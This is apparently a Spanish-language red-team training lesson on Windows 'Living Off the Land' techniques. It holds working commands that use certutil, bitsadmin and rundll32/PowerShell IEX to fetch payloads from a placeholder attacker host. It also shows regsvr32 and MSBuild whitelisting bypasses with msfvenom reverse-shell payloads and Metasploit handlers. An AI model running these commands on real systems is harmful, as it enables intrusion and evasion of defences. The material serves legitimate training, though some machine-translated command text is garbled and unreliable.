Living Off the Land
Windows Sysinternals
¿Qué es Windows Sysinternals?
Windows Sysinternals es un conjunto de herramientas y utilidades avanzadas del sistema desarrolladas para ayudar a los profesionales de TI a administrar, solucionar problemas y diagnosticar el sistema operativo Windows en diversos temas avanzados.
Sysinternals Suite se divide en varias categorías, que incluyen:
Gestión de discos
Gestión de proceso
Herramientas de red
Información del sistema
Herramientas de seguridad
Para utilizar las herramientas de Windows Sysinternals, debemos aceptar el acuerdo de licencia de Microsoft de estas herramientas. Podemos hacer esto pasando el argumento -accepteula
en el símbolo del sistema o mediante la GUI durante la ejecución de la herramienta.
Las siguientes son algunas herramientas populares de Windows Sysinternals:
Ayuda a los administradores del sistema a comprobar el acceso especificado a archivos, directorios, claves de registro, objetos globales y servicios de Windows .
Una herramienta que ejecuta programas en un sistema remoto .
Una herramienta avanzada de Active Directory que ayuda a ver y administrar fácilmente la base de datos de AD.
Supervisa los procesos en ejecución para detectar picos de CPU y la capacidad de volcar memoria para análisis posteriores.
Una herramienta esencial para el seguimiento de procesos .
Una herramienta que enumera todas las conexiones TCP y UDP.
La primera herramienta diseñada en la suite Sysinternals para ayudar a enumerar información detallada.
Supervisa y muestra toda la actividad de los puertos serie y paralelo en un sistema.
Proporciona información para un nombre de dominio o dirección IP específicos.
Para obtener más información sobre la suite Sysinternals, puede visitar la página web de las herramientas en Microsoft Docs aquí .
Sysinternals en vivo
Una de las grandes características de Windows Sysinternals es que no requiere instalación . Microsoft proporciona un servicio Windows Sysinternals, Sysinternals live, con varias formas de usar y ejecutar las herramientas. Podemos acceder a ellos y utilizarlos a través de:
Navegador web ( enlace ).
Compartir Windows
símbolo del sistema
Para utilizar estas herramientas, puede descargarlas o ingresar la ruta de Sysinternal Live \\live.sysinternals.com\tools
en el Explorador de Windows.

Tenga en cuenta que, dado que la máquina virtual adjunta no tiene acceso a Internet, descargamos previamente las herramientas Sysinternal en C:\Tools\ .
C:\Users\thm> C:\Tools\SysinternalsSuite\PsExec64.exe
Si está interesado en obtener más información sobre Windows Sysinternals, le sugerimos que se familiarice con los siguientes recursos adicionales :
Sala TryHackMe: Sysinternals .
Sitio web de recursos de Microsoft Sysinternals .

Utilización y beneficios del Red Team
Las herramientas integradas y Sysinternals son útiles para los administradores de sistemas; estas herramientas también son utilizadas por piratas informáticos, malware y pentesters debido a la confianza inherente que tienen dentro del sistema operativo. Esta confianza es beneficiosa para los miembros del Red Team, que no quieren ser detectados ni atrapados por ningún control de seguridad en el sistema de destino. Por lo tanto, estas herramientas se han utilizado para evadir la detección y otros controles del equipo azul.
Recuerde que debido al aumento de adversarios y creadores de malware que utilizan estas herramientas hoy en día, el equipo azul está consciente del uso malicioso y ha implementado controles defensivos contra la mayoría de ellos.
LOLBAS Project
¿Qué es LOLBÁS?

LOLBAS significa L iving Of the L and B inaries And Scripts , el objetivo principal principal de un proyecto es recopilar y documentar las herramientas integradas y firmadas por Microsoft utilizadas como técnicas de Living Off the Land, incluidos binarios, scripts y bibliotecas.

El proyecto LOLBAS es un repositorio impulsado por la comunidad que reúne una colección de archivos binarios, scripts y bibliotecas que podrían usarse para fines del equipo rojo. Permite realizar búsquedas basadas en binarios, funciones, scripts e información de ATT&CK. La imagen anterior muestra cómo luce la página del proyecto LOLBAS en este momento. Si está interesado en más detalles sobre el proyecto, puede visitar el sitio web del proyecto aquí .
El sitio web de LOLBAS proporciona una cómoda barra de búsqueda para consultar todos los datos disponibles. Es sencillo buscar un binario; incluir el nombre binario mostrará el resultado. Sin embargo, si queremos buscar una función específica, debemos proporcionar un / antes del nombre de la función. Por ejemplo, si buscamos todas las funciones de ejecución, deberíamos usar /execute . De manera similar, para buscar según los tipos, debemos usar el símbolo # seguido del nombre del tipo. Los siguientes son los tipos incluidos en el proyecto:
Guion
Binario
Bibliotecas
OtrosMSBinarios
Criterios de herramientas (Tools Criteria)
Se requieren criterios específicos para que una herramienta sea una técnica de "Living Off the Land" y sea aceptada como parte del proyecto LOLBAS:
Archivo firmado por Microsoft nativo del sistema operativo o descargado de Microsoft.
Tener funciones adicionales interesantes no deseadas que no están cubiertas por casos de uso conocidos.
Beneficia una APT (amenaza persistente avanzada) o la participación del equipo rojo.
Tenga en cuenta que si encuentra un binario interesante que cumpla con los criterios mencionados anteriormente, puede enviar su hallazgo visitando la página de contribución del repositorio de GitHub para obtener más información.
Funcionalidades interesantes
El proyecto LOLBAS acepta envíos de herramientas que se ajusten a una de las siguientes funcionalidades:
Ejecución de código arbitrario
Operaciones de archivos, incluida la descarga, carga y copia de archivos.
Compilando código
Persistencia, incluida la ocultación de datos en flujos de datos alternativos (ADS) o la ejecución al iniciar sesión.
derivación de UAC
Memoria del proceso de volcado
inyección de DLL
File Operations
Esta tarea muestra herramientas de uso común basadas en funcionalidades y actividades de malware observadas en el mundo real, así como en las interacciones del equipo rojo.
Esta tarea resaltará algunas técnicas interesantes de "Vivir de la tierra" que pretenden usarse en una operación de archivos, incluida la descarga, carga y codificación.
Certutil
Certutil es una utilidad integrada de Windows para gestionar servicios de certificación. Se utiliza para volcar y mostrar información de configuración de la Autoridad de certificación (CA) y otros componentes de la CA. Por tanto, el uso normal de la herramienta es recuperar información de certificados. Sin embargo, la gente descubrió que certutil.exe podía transferir y codificar archivos no relacionados con los servicios de certificación. El marco MITRE ATT&CK identifica esta técnica como transferencia de herramienta Ingress ( T1105 ).
Para ilustrar esto con un ejemplo, podemos usar certutil.exe para descargar un archivo del servidor web de un atacante y almacenarlo en la carpeta temporal de Windows, usando el siguiente comando. Tenga en cuenta que utilizamos los parámetros -urlcache y -split -f para hacer que la herramienta descargue desde la URL proporcionada utilizando la técnica de división.
certutil -URLcache -split -f http://Attacker_IP/payload.exe C:\Windows\Temp\payload.exe
-urlcache
para mostrar la URL, habilita la opción de URL para usar en el comando -split -f
para dividir y forzar la recuperación de archivos desde la URL proporcionada.
Además, certutil.exe
se puede utilizar como una herramienta de codificación donde podemos codificar archivos y decodificar el contenido de los archivos. ATT&CK T1027 se refiere a esta técnica para ofuscar archivos y hacerlos difíciles de descubrir o analizar.
C:\Users\thm> certutil -encode payload.exe Encoded-payload.txt
Para obtener más información sobre la herramienta, puede visitar el documento de Microsoft aquí : Microsoft Docs: CertUtil
Símbolo del sistema
La herramienta bitsadmin es una utilidad de administrador del sistema que se puede utilizar para crear, descargar o cargar trabajos del Servicio de transferencia inteligente en segundo plano (BITS) y verificar su progreso. BITS es un método asincrónico y de bajo ancho de banda para descargar y cargar archivos desde servidores web HTTP y servidores SMB. Puede encontrar información adicional sobre la herramienta bitsadmin en Microsoft Docs .
Los atacantes pueden abusar de las tareas BITS para descargar y ejecutar una carga útil maliciosa en una máquina comprometida. Para obtener más información sobre esta técnica, puede visitar la página ATT&CK T1197 .
Introducir el contenido del contenedor de la terminal (revisit)
C:\Users\thm>bitsadmin.exe /transfer /Download /priority Foreground http://Attacker_IP/payload.exe c:\Users\thm\Desktop\payload.exe
/Transfer
para usar la opción de transferencia
/Download
, especificamos la transferencia usando el tipo de descarga
/Priority
, configuramos la prioridad del trabajo que se ejecutará en primer plano
Para obtener más información sobre los parámetros de bitsadmin
, puede visitar la documentación de Microsoft de la herramienta.
FindStr
Findstres una herramienta integrada de Microsoft que se utiliza para buscar patrones de texto y cadenas en archivos. La herramienta findtr es útil porque ayuda a los usuarios y administradores del sistema a buscar dentro de archivos o resultados analizados. Por ejemplo, si queremos comprobar si el puerto 8080 está abierto en nuestra máquina, podemos canalizar el resultado de netstat para encontrar ese puerto de la siguiente manera: netstat -an| cadena de búsqueda "445"
.
Sin embargo, se encontró una forma no deseada al usar findstr.exe para descargar archivos remotos de carpetas compartidas SMB dentro de la red de la siguiente manera :
C:\Users\thm>findstr /V dummystring \\MachineName\ShareFolder\test.exe > c:\Windows\Temp\test.exe
/V
para imprimir las líneas que no contienen la cadena proporcionada. dummystring
del texto a buscar; en este caso, proporcionamos una cadena que no debe encontrarse en un archivo.
> c:\Windows\Temp\test.exe
redirige la salida a un archivo en la máquina de destino.
Tenga en cuenta que se pueden utilizar otras herramientas para la operación del archivo. Sugerimos visitar el proyecto LOLBAS para comprobarlos.
File Execution
Esta tarea muestra varias formas de ejecutar un binario dentro del sistema operativo. El caso típico de ejecutar un binario involucra varios métodos conocidos como usar la línea de comando cmd.exe
o desde el escritorio. Sin embargo, existen otras formas de lograr la ejecución de la carga útil abusando de otros binarios del sistema, una de las cuales es ocultar o reforzar el proceso de la carga útil. Basada en el marco MITRE ATT&CK, esta técnica se llama ejecución de proxy binario firmado o ejecución de comando indirecto , donde el atacante aprovecha otras herramientas del sistema para generar cargas útiles maliciosas. Esta técnica también ayuda a evadir los controles defensivos.
Explorador de archivos
File Explorer es un administrador de archivos y un componente del sistema para Windows. La gente descubrió que usar el binario del explorador de archivos puede ejecutar otros archivos .exe
. Esta técnica se llama Ejecución de comandos indirectos , donde se puede usar y abusar de la herramienta explorer.exe
para iniciar scripts o ejecutables maliciosos desde un proceso principal confiable.
El binario explorer.exe
se encuentra en:
- C:\Windows\ explorador. exe para la versión de Windows de 32 bits.
- C:\Windows\SysWOW64\ explorador. exe para la versión de Windows de 64 bits.
Para crear un proceso hijo del padre explorer.exe , podemos ejecutar el siguiente comando:
C:\Users\thm> explorer.exe /root,"C:\Windows\System32\calc.exe"
Como resultado del comando anterior, colocamos la calculadora en el escritorio.
WMIC
Windows Management Instrumentation (WMIC) es una utilidad de línea de comandos de Windows que administra componentes de Windows. La gente descubrió que WMIC también se utiliza para ejecutar binarios para evadir medidas defensivas. El marco MITRE ATT&CK se refiere a esta técnica como Ejecución de proxy binario firmado ( T1218 )
C:\Users\thm>wmic.exe process call create calc
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 1740;
ReturnValue = 0;
};
C:\Users\thm>
El comando WMIC
anterior crea un nuevo proceso de un binario de nuestra elección, que en este caso calc.exe
Rundll32
Rundll32 es una herramienta integrada de Microsoft que carga y ejecuta archivos DLL
de la biblioteca de vínculos dinámicos dentro del sistema operativo. Un equipo rojo puede abusar y aprovechar rundll32.exe
para ejecutar cargas útiles arbitrarias y ejecutar scripts de JavaScript y PowerShell. El marco MITRE ATT&CK identifica esto como Ejecución de proxy binario firmado: Rundll32 y se refiere a él como T1218 .
El binario rundll32.exe
se encuentra en:
- C:\Windows\System32\rundll32.exe para la versión de Windows de 32 bits
- C:\Windows\SysWOW64\rundll32.exe para la versión de Windows de 64 bits
Ahora intentemos ejecutar un binario calc.exe
como prueba de concepto usando el binario rundll32.exe
:
C:\Users\thm> rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
En el comando anterior, utilizamos el binario rundll32.exe
que incorpora un componente de JavaScript, eval() , para ejecutar el binario calc.exe , una calculadora de Microsoft.
Como mencionamos anteriormente, también podemos ejecutar scripts de PowerShell usando rundll32.exe . El siguiente comando ejecuta JavaScript que ejecuta un script de PowerShell para descargar desde un sitio web remoto usando rundll32.exe .
Símbolo del sistema
C:\Users\thm> rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://AttackBox_IP/script.ps1');");
Como resultado de la ejecución anterior, se descarga una copia del script.ps1 en la memoria de la máquina de destino
Application Whitelisting Bypasses
Omitir la lista blanca de aplicaciones(Bypassing Application Whitelisting)
La lista blanca de aplicaciones es una característica de seguridad de endpoints de Microsoft que evita que programas maliciosos y no autorizados se ejecuten en tiempo real. La lista blanca de aplicaciones se basa en reglas, donde especifica una lista de aplicaciones aprobadas o archivos ejecutables que pueden estar presentes y ejecutarse en un sistema operativo. Esta tarea se centra en ejemplos de LOLBAS que se utilizan para omitir la lista blanca de aplicaciones de Windows.
Regsvr32
Regsvr32 es una herramienta de línea de comandos de Microsoft para registrar y cancelar el registro de bibliotecas de vínculos dinámicos (DLL) en el Registro de Windows. El binario regsvr.exe se encuentra en:
- C:\Windows\System32\regsvr32.exe para la versión de Windows de 32 bits
- C:\Windows\SysWOW64\regsvr32.exe para la versión de Windows de 64 bits
Además de su uso previsto, el binario regsvr32.exe
también se puede utilizar para ejecutar archivos binarios arbitrarios y omitir la lista blanca de aplicaciones de Windows. Según los informes de Red Canary , el binario regsvr32.exe
es la tercera técnica ATT&CK más popular . Los adversarios aprovechan regsvr32.exe
para ejecutar código nativo o scripts de forma local o remota. La técnica utilizada en regsvr32.exe
utiliza componentes confiables del sistema operativo Windows y se ejecuta en la memoria, lo cual es una de las razones por las que esta técnica también se usa para evitar la lista blanca de aplicaciones.
Intentemos aplicar esta técnica en la vida real. Primero, necesitamos crear un archivo DLL
malicioso usando msvenom y configurar nuestro oyente Metasploit para recibir un shell inverso. Tenga en cuenta que crearemos un archivo malicioso que funciona para sistemas operativos de 32 bits. Usaremos la técnica de omisión de lista blanca de aplicaciones regsvr32.exe
para ejecutar un comando en un sistema de destino.
user@machine$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f dll -a x86 > live0fftheland.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 375 bytes
Final size of dll file: 8704 bytes
user@machine$ user@machine$ msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST ATTACKBOX_IP
LHOST => ATTACKBOX_IP
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on ATTACKBOX_IP:443
Tenga en cuenta que especificamos el tipo de salida como DLL
usando el argumento -f
. Una vez que se genera el archivo DLL
malicioso, debemos entregar la carga útil a la máquina víctima. Haremos esto usando un servidor web para servir el archivo DLL en nuestra máquina atacante de la siguiente manera:
user@machine$ python3 -m http.server 1337
Desde la máquina víctima, visite el servidor web de la máquina atacante en el puerto 1337
que especificamos. ¡Tenga en cuenta que este puerto se puede cambiar según su elección!
En la máquina víctima, una vez descargado el archivo DLL, lo ejecutamos usando regsvr32.exe
de la siguiente manera:
C:\Users\thm> c:\Windows\System32\regsvr32.exe c:\Users\thm\Downloads\live0fftheland.dll
or
C:\Users\thm> c:\Windows\System32\regsvr32.exe /s /n /u /i:http://example.com/file.sct Downloads\live0fftheland.dll
Con la segunda opción, que es un comando más avanzado, le indicamos al regsvr32.exe
que se ejecute:
/s
: en modo silencioso (sin mostrar mensajes)/n
: para no llamar al servidor de registro DLL/i
: : para usar otro servidor ya que usamos /n/u
: para ejecutar con el método de cancelación del registro
En la máquina atacante, deberíamos recibir un caparazón inverso.
msf6 > exploit(multi/handler) > exploit
[*] Started reverse TCP handler on ATTACKBOX_IP:443
[*] Sending stage (175174 bytes) to 10.10.159.197
[*] Meterpreter session 1 opened (ATTACKBOX_IP:443 -> 10.10.159.197:52845 ) at 2022-01-20 05:51:31 -0600
Tenga en cuenta que si queremos crear una versión DLL
de 64 bits , debemos especificarla en el comando msfvenom
y ejecutarla desde la máquina víctima usando la versión de 64 bits de regsvr32.exe
en C:\Windows\SysWOW64\regsvr32.exe
Bourne Again Shell (Bash)
En 2016, Microsoft agregó soporte para el entorno Linux en Windows 10,11 y Server 2019. Esta característica se conoce como Subsistema de Windows para Linux ( WSL ) y existe en dos versiones de WSL : WSL1 y WSL2. WSL es una distribución de Linux virtualizada Hyper-V que se ejecuta en el sistema operativo y admite un subconjunto del kernel de Linux y las llamadas al sistema. Esta característica es un complemento que un usuario puede instalar e interactuar con una distribución de Linux. Como parte de WSL, bash.exe
es una herramienta de Microsoft para interactuar con el entorno Linux.
La gente encontró formas de ejecutar cargas útiles y evitar la lista blanca de aplicaciones de Windows, ya que es un binario firmado por Microsoft. Al ejecutar bash.exe -c "path-to-payload"
, podemos ejecutar cualquier carga útil sin firmar. ATT&CK llamó a esto una técnica de ejecución de comandos indirectos donde los atacantes abusan de la utilidad de herramientas de Windows para obtener ejecuciones de comandos. Para obtener más información sobre esta técnica, puede visitar el sitio web T1202 ATT&CK.

Tenga en cuenta que debe habilitar e instalar el subsistema de Windows para Linux en Windows 10 para usar el binario bash.exe . Además, la máquina virtual adjunta no tiene habilitado el subsistema Linux debido a restricciones de virtualización anidadas.
Tenga en cuenta que esta sección destacó un par de herramientas interesantes. Si está interesado en consultar las herramientas LOLBAS disponibles, puede visitar el sitio web del proyecto .
Other Techniques
Esta sección destaca un par de técnicas interesantes utilizadas, ya sea para acceso inicial o persistencia. Las siguientes técnicas pertenecen al grupo Living Off the Land ya que pueden usarse como parte de las utilidades del entorno Windows.
Shortcuts

Los accesos directos o enlaces simbólicos son una técnica utilizada para hacer referencia a otros archivos o aplicaciones dentro del sistema operativo. Una vez que un usuario hace clic en el archivo de acceso directo, se ejecuta el archivo o aplicación de referencia. A menudo, el equipo rojo aprovecha esta técnica para obtener acceso inicial, escalada de privilegios o persistencia. El marco MITRE ATT&CK llama a esta técnica de modificación de atajos T1547 , donde un atacante crea o modifica un atajo para aprovechar esta técnica.
Para utilizar la técnica de modificación de accesos directos, podemos configurar la sección de destino para ejecutar archivos usando:
Rundll32
Potencia Shell
legal fr32
Ejecutable en disco
La figura adjunta muestra un ejemplo de una técnica de modificación de accesos directos, donde el atacante modificó la sección de destino de Excel para ejecutar un binario usando rundll32.exe
. Elegimos ejecutar una calculadora en lugar de ejecutar la aplicación Excel. Una vez que la víctima hace clic en el icono de acceso directo de Excel, se ejecuta calc.exe
. Para obtener más información sobre la modificación de accesos directos, puede consultar este repositorio de GitHub.
No PowerShell!
En 2019, Red Canary publicó un informe de detección de amenazas que afirmaba que PowerShell es la técnica más utilizada para actividades maliciosas. Por lo tanto, las organizaciones comenzaron a monitorear o bloquear la ejecución de powershell.exe . Como resultado, los adversarios encuentran otras formas de ejecutar código PowerShell sin generarlo.

PowerLessShell es una herramienta basada en Python que genera código malicioso para ejecutarse en una máquina de destino sin mostrar una instancia del proceso de PowerShell. PowerLessShell se basa en el abuso de Microsoft Build Engine (MSBuild), una plataforma para crear aplicaciones de Windows, para ejecutar código remoto.
Primero, descarguemos una copia del proyecto desde el repositorio de GitHub en AttackBox:
user@machine$ git clone https://github.com/Mr-Un1k0d3r/PowerLessShell.git
Uno de los requisitos del proyecto es obtener una carga útil de PowerShell para que sea adecuado para trabajar con MSBuild. En AttackBox, necesitamos generar una carga útil de PowerShell usando msfvenom de la siguiente manera:
user@machine$ msfvenom -p windows/meterpreter/reverse_winhttps LHOST=AttackBox_IP LPORT=4443 -f psh-reflection > liv0ff.ps1
Además, necesitamos ejecutar el marco Metasploit para escuchar y esperar el shell inverso.
user@machine$ msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_winhttps; set lhost AttackBox_IP;set lport 4443;exploit"
[*] Using configured payload generic/shell_reverse_tcp
payload => windows/meterpreter/reverse_winhttps
lhost => AttackBox_IP lport => 4443
[*] Started HTTPS reverse handler on https://AttackBox_IP:4443
Ahora que tenemos la carga útil lista, cambie al proyecto del directorio PowerLessShell para convertir la carga útil para que sea compatible con la herramienta MSBuild. Luego ejecute la herramienta PowerLessShell y configure el archivo fuente como el que creamos con msfvenom
de la siguiente manera:
user@machine$ python2 PowerLessShell.py -type powershell -source /tmp/liv0ff.ps1 -output liv0ff.csproj
Una vez que el comando se ejecuta correctamente, debemos transferir el archivo de salida a la máquina con Windows. Puede hacer esto usando el comando SCP o configurar un servidor web para alojar el archivo en AttackBox ( python3 -m http.server 1337
) y descargar el archivo usando el navegador.
Finalmente, en la máquina Windows de destino, cree el archivo .csproj y espere el shell inverso.
C:\Users\thm> c:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe c:\Users\thm\Desktop\liv0ff.csproj
Una vez que ejecutemos el comando MSBuild, espere un par de segundos hasta que recibamos un shell inverso. Tenga en cuenta que no se estará ejecutando ningún proceso powershell.exe .
Última actualización